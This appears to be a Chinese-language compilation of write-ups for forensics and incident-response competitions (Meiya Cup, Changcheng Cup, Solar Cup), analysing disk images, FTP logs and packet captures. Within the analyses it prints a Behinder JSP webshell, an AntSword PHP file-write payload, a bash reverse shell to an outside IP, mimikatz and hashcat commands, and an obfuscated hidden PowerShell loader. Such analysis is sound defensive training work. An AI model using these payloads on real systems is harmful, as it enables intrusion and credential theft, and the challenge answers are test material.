B. 此相片由iPhone XR拍摄
C. 此相片的拍摄时间为2021-10-21 17:45:48(UTC+8)
D. 此相片的拍摄时间为2021-09-08 17:35:00(UTC+8)
相机型号与本机不符,因此是投送来的。
并且由创建日期作为拍摄日期进行分析。
38.[单选题] 阿力士iPhone XR中阿力士的电邮账户Alexc19851016@gmail.com的密码有可能是什么?
A. Ac19851016
B. Alex1985!
C. Aa475869!
D. 以上皆非
阿力士吧自己的密码写在备忘录里面了
39.[填空题] 阿力士iPhone XR曾经连接Wifi “Alex Home”的密码是什么? (请以英文全大写及阿拉伯数字回答)
设备连接中没有WIFI记录
在密码中寻找:
40.[单选题] 阿力士iPhone XR经iCloud备份的最后时间是什么?(UTC+8)?
A. 2021-10-21 17:51:38(UTC+8)
B. 2021-10-21 18:02:13 + (UTC+8)
C. 2021-10-21 09:51:38(UTC+8)
D. 2021-10-21 10:02:13 + (UTC+8)
但是答案错误,一说是查看iCloud
的数据库Apple_iPhoneXR(A2105).zip/BackupService/00008020-0005106602D3002E/Snapshot/Manifest.plist
分析:
但是时间也对不上
最终是时区错误,要加上8小时
2021-10-21T09:51:38.000+00:00
即为2021-10-21 17:51:38(UTC+8)
41.[填空题] 阿力士iPhone XR中的iBoot版本是iBoot-[______]? (请以阿拉伯数字回答,不用轮入".")
iBoot 是 苹果 iOS 设备的引导加载程序(Bootloader),主要负责 启动 iOS 操作系统。它是 iOS 设备安全机制的重要组成部分,负责 加载内核 并 执行安全检查,确保设备只能运行经过苹果认证的代码。
PhoneInfo.xml
是 iPhone 设备在 Lockdown Service(锁定服务) 目录下的一个 XML 配置文件,通常用于存储与设备相关的信息,例如 设备唯一标识符(UDID)、iOS 版本、硬件信息 等。
42.[多选题] 阿力士iPhone XR中的WhatsApp群组『团购-新鲜猪肉牛肉-东涌群组-9/30』有以下哪一个成员?
A. 85260617332@s.whatsapp.net
B. 85260452579@s.whatsapp.net
C. 85248791565@s.whatsapp.net
D. 85264630956@s.whatsapp.net
43.[单选题] 阿力士的计算机显示曾于hongkongcard.com 的论坛登记成为会员,以下哪个是他的帐户密码?
A. Aa475869!
B. Bb475869!
C. Cd475869!
D. 以上皆非
分析检材:阿力士计算机的电子数据,路径:\Individual\Meiya Cup 2021 (individual)\image\Alex\Alex_Windows_Computer
在相关浏览记录中分析:
加上第38题分析得到的密码备忘录,账户相同,其密码与第38题的密码相同
44.[单选题] 阿力士的计算机显示阿力士曾用什么方法进入受害者(主管)的计算机?
A. 远程操控
B. 特洛伊木马程序
C. 勒索软件
D. 恶意软件
就算不看相关内容也能根据前面的分析看出阿力士曾以维修的名义向主管要远控ID
45.[单选题] 续上题,阿力士最后一次进入受害者(主管)计算机的时间是什么?
A. 于2021年10月18日 10时36分
B. 于2021年10月18日18时36分
C. 于2021年10月18日6时53分
D. 于2021年10月18日18时42分
由上题分析可知
46.[填空题] 阿力士的计算机显示他曾经使用FTP程序,FTP的主机IP地址是什麼?(请以亚拉伯数字作答,省去"."符号)
由第11题分析可知
或分析阿力士计算机的内容:
47.[填空题] 阿力士的计算机显示于2021年9月至2021年11月期间,计算机曾被登入过多少次? (请以阿拉伯数字回答)
48.[填空题] 阿力士计算机所安装的Microsoft Office 2007 是以下哪一个版本? (请以亚拉伯数字作答,省去"."符号)
49.[填空题]以下是阿力士计算机中的Basic data partition (EFI 3) 的Volume ID?(请以英文全大写及阿拉伯数字回答)
在 Windows 和 macOS 设备上,Basic Data Partition 是 GPT(GUID Partition Table)分区格式下的一种标准分区类型。
Volume ID(卷标 ID)是 Windows 和某些文件系统中用来唯一标识磁盘分区的一个值。
将虚拟磁盘挂载后使用DiskGenius查看卷序列号:
50.[填空题] 阿力士计算机的Window product ID是什么? (请以英文全大写及阿拉伯数字回答,不用输入"-")
51.[单选题] 阿力士计算机曾经下载一张猴子的图片,以下哪一项描述正确?
A. 该图片是由 "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSgn6ABvcqTfFPjcIbjc9hdx1H4PtQsAuVyTQ&usqp=CAU"下载的
B. 该图片经过加密
C. 该图片于2021-09-30 下载
D. 该图片是由GIF档转换成PNG檔
A.查看下载记录,寻找下载的文件:
52.[填空题] 阿力士计算机所安装的Microsoft Office 2007 的密钥是甚么? (请以英文全大写及阿拉伯数字回答,不用输入"-")
Microsoft Office密钥文件路径:\Microsoft Office Pro Plus 2007 Chinese\License Key.txt
53.[单选题] 阿力士FTP 服务器用户使用命令行安装了甚么程序?
分析检材:阿力士FTP 服务器的电子数据,路径:\Individual\Meiya Cup 2021 (individual)\image\Alex\FTP
A. Docker
B. Chrome
C. FileZilla
D. TeamViewer
思路一:
思路二:
54.[多选题] 以下哪些档案于阿力士FTP 服务器曾重复出现?
A. Material1
B. Material2
C. Material3
D. Staff1
E. Staff2
F. Staff3
善用搜索:
55.[填空题] 在阿力士FTP服务器中,文件夹___曾被用户变更了访问权限(请以英文全大写及阿拉伯数字回答)
遇到这种题直接搜索关键词chmod
然而答案并不是英文全大写,答案就是Dangerous_Project
56.[填空题] 在阿力士FTP 服务器建设后,有 ___ 个额外用户被加入 (请以阿拉伯数字回答)
linux增加用户命令:useradd
、pure
添加了用户wai
57. [单选题] 根据阿力士FTP服务器设定显示,此服务器是以___方式连接网络,且是一个___
网络状态
A. 无线 , 公开
B. 无线 , 私人
C. 有线 , 公开
D. 有线 , 私人
可以看到Wired Connection
为有线
IPv4地址为公网地址,因此为公开的网络状态
网上WP有些说跳转到原配置文件会发现IPv6为Private私有地址
如果服务器的 IPv4 地址是公网地址,但 IPv6 地址是私有地址(Private),那么网络状态仍然可以是公开的,但要具体分析
毕竟IPv6还没有应用那么广泛对吧……?
58.[填空题] 阿力士FTP 服务器设定最多使用者数目是 ___ (请以阿拉伯数字回答)
需要看ftp的配置文件,所以使用正则表达式查找*ftp*.conf
文件:
59.[填空题]阿力士FTP服务器使用Docker安装了一个FTP程序为___。(例如 space docker/1.1,请输入spacedocker/1.1,不要输入空格)
60.[多选题] 阿力士FTP 服务器曾使用过甚么版本的Linux内核?
A. linux-headers-5.11.0-16
B. linux-headers-5.11.0-17
C. linux-headers-5.11.0-36
D. inux-headers-5.11.0-37
E. linux-headers-5.11.0-40
61.[多选题] 阿力士FTP 服务器的磁盘分区,有以下哪一种文件系统?
A. FAT16
B. FAT32
C. ExFAT
D. HFS+
E. Ext4
62.[填空题] 阿力士FTP服务器用户输入了指令 ___ 去检查现存的Docker容器 (例如 netstat lntp,请输入 netstatlntp,不要输入空格)
这有两种指令去检查现存的Docker容器,正确答案是dockercontainerps-a
2020校赛弘连杯
暂时没有更新检材,跳过。
应急响应专栏
linux-basic-command
获取2015年访问请求 排名前五的ip地址
格式:flag{ip1,ip2,ip3,ip4,ip5}
使用脚本:
from collections import Counter
import re
# 读取 access.log 文件
log_file = "access.log"
# 正则表达式匹配 IP 地址
ip_pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b')
# 统计 IP 频次
ip_counter = Counter()
with open(log_file, "r", encoding="utf-8") as f:
for line in f:
match = ip_pattern.search(line)
if match:
ip_counter[match.group()] += 1
# 输出统计结果
for ip, count in ip_counter.most_common():
print(f"{ip}: {count}")
或者使用awk
进行分析:
awk '{print $1}' access.log |sort|uniq -c > 1.csv
然后按大小排序分析:
ire7-windows-log
请分析windows日志文件winlog.evtx,并从中找到key信息。
用事件查看器
进行分析(按照ID排序):
wireshark0
某日接到客户应急需求,客户连接工业控制系统的核心网络设备遭到入侵,初步推测可能是网络设备的远程登录密码被破解,请通过对给出的流量包分析,得到黑客登录网络设备后窃取的机密数据key1。
flag为8位长度字符串
协议分级,根据题目背景优先分析telnet远控协议:
前面都是登录失败的流量,找到登录成功的:
wireshark0.5
下列抓包⽂件中包含了⽤户登录⽹站过程,请找出⽤户登录⽹站的明⽂密码。格式flag{密码}
登录网站的过程优先分析HTTP流来寻找:
linux-log
有一台服务器遭到了黑客的入侵,请下载日志,并从中分析出黑客的 IP 地址,并将黑客登录操作系统的时间作为 flag 值提交(注:提交的日期时间格式为 flag{HHMMSS})。
打开日志,搜索登录操作系统成功的关键词accepted
:
wireshark1
请分析可疑流量并找到key信息
请提交8位长度字符串
流量非常大,尝试过滤分析http
流,搜索key
关键词,找到传输的压缩包:
压缩包是网站的源文件备份,里面藏着key:
在排除了伪加密的情况后,进行爆破的同时在流量中寻找解压密码(搜索关键词):
成功解压得到key
welog1
请根据日志分析攻击者写入的木马的连接密码,提交格式为:flag{xxxxx}
大部分是404的记录,我们只关注200的记录:
找到奇怪的GET请求,进行URL解码:
再解码:
wireshark2.1
在企业网络中,总有部分系统管理员为了方便文件共享就直接在服务器上搭建FTP、NFS等服务。因为,系统管理员对文件访问权限设置的不合理,用户存在弱密码等原因,给黑客留下了可乘之机。好在全流量监控平台可以截获黑客窃取的这部分敏感数据,应急响应人员后期便可根据泄漏信息的重要程度来制定不同等级的应急响应预案。在该台服务器上便发生过FTP数据窃取事件,请通过分析得出黑客窃取的敏感数据key4的值。(key4为8位随机数字和字母构成的字符串) 注释:全流量监控平台抓取的此次数据泄漏事件的流量包capture.pcap存放在FTP服务的日志目录下面。 解压缩密码 +X:K1T}
此题附件为FTP数据窃取流量,因此优先分析FTP协议内容:
加密的压缩包,尝试寻找密码:
解压密码也在FTP服务器中,但是没有传输记录因此找不到
最后再仔细看看题目介绍就能找到解压密码了……
data-recovery
data.img 文件为硬盘镜像副本,请恢复该硬盘中的文件,寻找 Flag
恢复硬盘文件使用磁盘精灵:
恢复成功从无需密码的RAR中得到flag
wireshark2
从网络通信方式的层面看,后门可以被分为http/https类型、irc类型、icmp类型、dns类型等。在某次应急响应行动中,安全人员抓到了一份可疑的流量包,请从流量包中分析出通过某种特殊协议传输的敏感数据key1的值。
ICMP 协议被用作信息通道,可能是某个恶意程序或攻击者利用 ping
进行数据传输:
即可得到key
另一个流量包中隐藏着的flag藏在ICMP协议报文内容中,是藏头诗
wireshark3
分析HTTP流,可以发现有f1aG1.zip
、f1aG2.zip
、f1aG3.zip
、f1aG4.zip
、f1aG5.zip
的传输,并且还有一个密码文件:
尝试手动导出ZIP文件,只有f1aG5.zip
加密了,解密即可得到flag
2024长城杯决赛-溯源取证
您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常,好像被黑客攻击了。小李通过简单分析,发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李将当天可能与攻击相关的流量导出,并与移动应用一起打包压缩,你可以下载分析,也可以登录此服务器进行攻击溯源、排查等,提供了SSH和VNC访问的方式供您和您的团队进行分析取证。
条件限制,没有靶机,但是用流量包也可以做
关卡1
关卡描述:黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列,空格分隔)
从传马的流量和会话统计可以推测出202.1.1.1
为攻击者IP,202.1.1.66
为http服务器
IP 地址 | 作用 | 说明 |
---|---|---|
239.255.255.250 | SSDP 多播 | 设备发现(UPnP) |
202.1.1.254 | 可能是网关 | 具体用途需检查网络环境 |
224.0.0.251 | mDNS 多播 | Bonjour、ZeroConf 设备发现 |
202.1.1.255 | 可能是广播地址 | 202.1.1.0/24 网段内的广播 |
剩下202.1.1.129
和202.1.1.130
,查看流量继续分析:
可以发现202.1.1.130
作为服务端回传了关键信息给202.1.1.129
关卡2
存在安全问题的apk中使用的登录密码是什么?
继续分析流量,若寻找登录密码最好从POST请求开始查询:
http.request.method == "POST"
然后搜索相关关键词如pass
:
或者逆向分析apk查找应用主入口
:
关卡3
关卡描述:黑客尝试上传一个文件但显示无上传权限的文件名是什么?
继续分析POST请求内容,注意关键词upload
寻找上传文件api或页面:
http.request.uri contains "upload"
追踪流即可找出上传的文件名:
关卡4
关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)
找到传马成功的流量:
追踪流:
答案:http://202.1.1.66:8080/api/upload
关卡5
关卡描述:黑客上传的webshell绝对路径是什么?
参考文章:第一届长城杯铁人三项赛-决赛 | Y0ung's Blog
这里需要有服务器才能找出webshell绝对路径
不然由上题分析只有相对路径/static
服务器路径并不是/var/www/html/
答案:/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp
关卡6
关卡描述:黑客上传的webshell的密码是什么?
分析关卡4上传的冰蝎马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
// 自定义类加载器 U,继承自 ClassLoader
class U extends ClassLoader {
// 构造方法,接受父类加载器
U(ClassLoader c) {
super(c);
}
// 通过 defineClass() 方法将字节码数组转换为 Java 类
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
// 检查请求是否带有 "bing_pass" 参数
if (request.getParameter("bing_pass") != null) {
// 生成一个 16 字节的 AES 密钥
String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
// 将密钥存入 Session 变量 "u"
session.putValue("u", k);
// 将密钥返回给客户端,供后续 AES 加密使用
out.print(k);
return; // 结束请求
}
// 初始化 AES 解密对象
Cipher c = Cipher.getInstance("AES");
// 获取存储在 Session 中的密钥,并创建 AES 密钥对象
c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));
// 读取请求体内容(假设是 Base64 编码的 AES 加密数据),并进行解密
byte[] decryptedData = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
// 使用自定义类加载器 U 加载解密后的 Java 字节码
Class<?> loadedClass = new U(this.getClass().getClassLoader()).g(decryptedData);
// 通过反射创建实例,并调用 equals() 方法
loadedClass.newInstance().equals(pageContext);
%>
冰蝎马运行过程:
1. 生成 AES 密钥
- 如果请求中带有
bing_pass
参数:- 生成一个 16 字节 的随机 AES 密钥。
- 存入
session["u"]
,用作加密/解密密钥。 - 返回密钥给客户端,攻击者可以使用它来加密 payload。
2. 远程代码执行
- 读取 HTTP 请求体,获取 Base64 编码 的 AES 加密数据。
- 用 Session 中存的密钥解密,还原 Java 类的字节码。
- 通过
U
类加载器动态加载字节码,并执行equals()
方法(可能包含恶意代码)。
关卡7
关卡描述:黑客通过webshell执行的第一条命令是什么?
继续分析与木马相关流量:
http.request.uri contains "s74e7vwmzs21d5x6.jsp"
前两条是向服务端传输AES密钥的流量,下面的才是执行的第一条命令:
使用蓝队分析工具对冰蝎马进行解密(项目地址:abc123info/BlueTeamTools: 蓝队分析研判工具箱,功能包括内存马反编译分析、各种代码格式化、网空资产测绘功能、溯源辅助、解密冰蝎流量、解密哥斯拉流量、解密Shiro/CAS/Log4j2的攻击payload、IP/端口连接分析、各种编码/解码功能、蓝队分析常用网址、java反序列化数据包分析、Java类名搜索、Fofa搜索、Hunter搜索等。):
可以发现第一条命令为pwd
关卡8
关卡描述:黑客获取webshell时查询当前shell的权限是什么?
继续分析流量,找到执行whoami
请求流量:
将返回流量进行解密:
关卡9
关卡描述:利用webshell查询服务器Linux系统发行版本是什么?
继续分析流量:
返回包:
关卡10
关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?
可以发现秘密文件为secret.file
,对相关请求流量进行分析:
关卡11
关卡描述:黑客通过反连执行的第一条命令是什么?
寻找反弹shell建立后的流量:
追踪TCP流:
不知道为什么答案是第二条命令cat /etc/passwd
关卡12
关卡描述:黑客通过什么文件修改的root密码(绝对路径)
关卡13
关卡描述:黑客设置的root密码是多少?
使用hashcat进行爆破解密(将密码hash值存入1.txt中):
hashcat -m 1800 -a 0 -o cracked.txt 1.txt rockyou.txt
或者用john:
john --wordlist=rockyou.txt 1.txt
关卡14
关卡描述:黑客留下后门的反连的ip和port是什么?(ip:port)
由关卡11分析可知黑客的监听IP和端口为202.1.1.129:4444
,但并不是留下后门的反连ip和port
端点分析,过滤202.1.1.129
IP进行分析:
可以发现反连端口为9999
或者
参考文章:第一届长城杯信息安全铁人三项赛决赛 取证溯源 wp - Dr0n's blog、第一届长城杯铁人三项赛-决赛 | Y0ung's Blog
观察Linux 系统日志(/var/log/cron
或 /var/log/messages
):
或定时任务crontab -e
:
关卡15
关卡描述:黑客通过后门反连执行的第一条命令是什么?
在 RPM(Red Hat Package Manager) 维护的已安装软件包中 查找包含 "pam" 的软件包
pam
(Pluggable Authentication Modules):Linux 可插拔认证模块,控制身份验证。
关卡16
原文地址:第一届长城杯信息安全铁人三项赛决赛 取证溯源 wp - Dr0n's blog
关卡描述:黑客通过什么文件留下了后门?
根据上一题的命令去搜索pam相关文件
找到/usr/lib/security/pam_unix.so
和/usr/lib64/security/pam_unix.so
存在后门
关卡17
关卡描述:黑客设置的后门密码是什么?
继续往下走,直接看到密码
关卡18: 250 分
关卡描述:黑客的后门将root密码记录在哪个文件中?(绝对路径)
继续向下
流量特征分析-常见攻击事件 tomcat - From 玄机
tomcat-1
在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
随便翻翻一篇红色和灰色,这是nmap正在扫描端口发送的TCP握手请求:
tomcat-2
找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
tomcat-3
哪一个端口提供对web服务器管理面板的访问?flag格式:flag{2222}
使用以下过滤语句查看nmap扫描开放端口:
tcp.flags.reset ==1 && tcp.flags.ack == 0
22是ssh服务,查看8080端口传输的流量并搜索关键词:
tomcat-4
经过前面对攻击者行为的分析后,攻击者运用的工具是?flag格式:flag{名称}
追踪流分析:
tomcat-5
攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?flag格式:flag{root-123}
分析追踪流,发现已成功获取反弹shell的流量:
往前分析,发现前面的http请求中有Authorization
请求头用于携带身份验证凭据:
tomcat-6
攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称?flag格式:flag{114514.txt}
由上题分析,反弹shell前的流量极有可能是恶意文件
tomcat-7
攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息?flag提示,某种任务里的信息
根据上上题的分析,可以看出反弹shell命令中有持久化反弹shell的命令
/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
流量特征分析-蚁剑流量分析 - From 玄机
蚁剑流量分析-1
木马的连接密码是多少
答案格式:flag{密码}
分析http流:
标准蚁剑生成的马,利用的密码参数1
就在开头
蚁剑流量分析-2
黑客执行的第一个命令是什么
思路一:追踪HTTP流可以分析:
第一条回显的是2c3f5uid=33(www-data) gid=33(www-data) groups=33(www-data)
可以推测第一条指令是id
思路二:解码请求数据
一些 WebShell 工具(如蚁剑)在传输数据时,可能会包含额外的头部信息,比如控制字符、分隔符或者其他标识符。蚁剑会在编码前加两位随机生成的字符,因此开始位置为2.
蚁剑流量分析-3
黑客读取了哪个文件的内容,提交文件绝对路径
蚁剑流量分析-4
黑客上传了什么文件到服务器,提交文件名
蚁剑流量分析-5
黑客上传的文件内容是什么
将流量传输内容进行美化:
1 = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
$tmdir = $item."/.368479785";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for($i = 0;
$i < sizeof($cntarr);
$i++) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};;
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "6960"."cb205";
echo @asenc($output);
echo "1e0a"."91914";
}
ob_start();
try {
$f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2));
$c = $_POST["ld807e7193493d"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
for($i = 0;
$i < strlen($c);
$i += 2)$buf .= urldecode("%".substr($c, $i, 2));
echo(@fwrite(fopen($f, "a"), $buf)?"1":"0");;
} catch(Exception $e) {
echo "ERROR://".$e - > getMessage();
};
asoutput();
die();
&ld807e7193493d = 666C61677B77726974655F666C61677D0A
&t41ffbc5fb0c04 = 0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA ==
最后一段就是上传文件的内容,进行解码:
蚁剑流量分析-6
黑客下载了哪个文件,提交文件绝对路径
solar杯
挂载/解压密码: KzXGabLkDjs&j@3a&fAayNmD
参考文章:【官方WP】第一届solar杯·应急响应挑战赛官方题解
1.1日志流量
题目文件:tomcat-wireshark.zip/web新手运维小王的Geoserver遭到了攻击:黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
GeoServer 是一个 开源 的 地理信息服务器(GIS Server),用于发布、共享和管理地理空间数据。它允许用户通过标准的网络协议(如 WMS、WFS、WMTS、WCS)来访问和操作空间数据。
进行流量分析,发现木马b.jsp
:
在给出的网站根目录中也能找到这个木马文件:
当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java
),然后将其编译为 .class
文件。生成的 .class
文件是 Tomcat 用来处理请求并返回响应的实际代码。
这个过程是动态的,
Tomcat 会在后台管理这些文件的编译和更新。路径一般为:<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/
找到b_jsp.class
可以发现是哥斯拉自动生成的webshell木马:
哥斯拉webshell特征:
选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征
xc
:AES 加密密钥(16 字节)
在整个 b.jsp
文件中,code
变量只是被定义了,但并没有被直接使用,也没有被传递给任何方法或函数。
进行解码:
1.2日志流量
题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。flag格式 flag{xxxx}
对流量进行过滤分析:
http.request.full_uri contains "b.jsp"
根据得到的密钥使用蓝队工具进行解密:
找到读取flag.txt
的流量:
对返回包进行解密:
1.3日志流量
题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。使用流量解密工具进行解密流量并删除无用部分后另存为pdf。
可以发现上传的PDF文件,我们对其进行导出即可得到flag:
(目前没有找到有什么可以直接进行导出的工具,这里用的是puzzlesolver-pro)
用cyberchef的话就需要删除HEX前面不必要的部分,但我不知道如何分辨哪里必要哪里不必要:
2.1数据库
请找到攻击者创建隐藏账户的时间flag格式 如 flag{2024/01/01 00:00:00}
检材:mssql.7z
上取证大师分析虚拟磁盘:
或者仿真虚拟机后(绕过登录密码)分析安全日志,重点分析4720事件:
为了获取密码,也可以:
找到对应的SAM文件及SYSTEM文件后(Windows\System32\config\SAM
、Windows\System32\config\SYSTEM
)复制到我们物理机桌面,之后使用mimikatz
提取密码,如下所示
privilege::debug
lsadump::sam/sam:SAM/system:SYSTEM
提取出来的登陆密码a29f7623fd11550def0192de9246f46b
如下所示,我们解密即可
参考文章:2024第一届Solar杯应急响应挑战赛wp_solar应急响应wp-CSDN博客
2.2数据库
请找到恶意文件的名称 flag格式 如 flag{.}
打开任务管理器对进程进行分析:
官方WP是用安全软件自动检测……
那么可以用包含本地病毒库的杀毒软件(如360、火绒等)进行分析(全盘扫描非常耗时……)
在相关目录中找到该软件……
2.3数据库
请找到恶意文件的外联地址 flag格式 如 flag{1.1.1.1}
在恶意文件的配置config.json
文件中可以看到外联的url为“sierting.com”:
dns解析得到外联地址IP
或者用火绒剑在网络选项中进行分析……
2.4数据库
请修复数据库flag格式 如 flag{xxxxx}
仿真系统桌面上能看到这些:
主机感染了勒索病毒,由于加密程序可能只对文件部分内容进行篡改,则可能在数据库文件恢复到部分数据。通过分析数据库的本地文件在C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA\
中:
数据库都被勒索软件修改并添加上了.X3rmENR07
后缀,首先将后缀删除
import os
def remove_last_extension(folder_path):
for filename in os.listdir(folder_path):
file_path = os.path.join(folder_path, filename)
if os.path.isfile(file_path): # 确保是文件而不是文件夹
new_name = '.'.join(filename.split('.')[:-1]) # 去掉最后一个后缀
if new_name: # 避免空文件名
new_path = os.path.join(folder_path, new_name)
os.rename(file_path, new_path)
print(f'Renamed: {filename} -> {new_name}')
if __name__ == "__main__":
folder = input("请输入要处理的文件夹路径: ").strip()
if os.path.isdir(folder):
remove_last_extension(folder)
else:
print("无效的文件夹路径!")
这里使用数据库修复工具D-Recovery SQL Server
对数据库进行修复(以下为官方WP):
选择被加密的数据库文件,在”选择参照mdf文件“中选择”【非题目】题mssql-备份数据库(可能会用到)“中的纯表结构文件
(DIDCTF貌似缺少【非题目】题mssql-备份数据库(可能会用到)
,因此做不出来)
另一个思路(原文地址:解答思路 | 2024第一届Solar杯应急响应挑战赛-CSDN博客)直接搜索关键词:
在tempdb_mssql_3.ndf.X3rmENR07发现flag。
搜索关键字:66 00 6C 00
2.5数据库
请提交powershell命令中恶意文件的MD5 flag格式 如 flag{xxxxx}
打开事件查看器,分析powershell日志,发现可疑执行日志:
事件ID 400:PowerShell 运行空间(Runspace)已启动并初始化。
事件ID 600:PowerShell 运行空间(Runspace)已关闭或终止。
powershell.exe -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
-
New-Object System.IO.MemoryStream:用于 Base64 编码的字符串创建内存流。
-
System.IO.Compression.GzipStream:解压缩 Gzip 编码的数据流。
-
ReadToEnd():读取并执行解压后的数据内容。
解码发现内容是Gzip编码的数据流
进行解码:
function tWk {
Param ($k0M, $ybp)
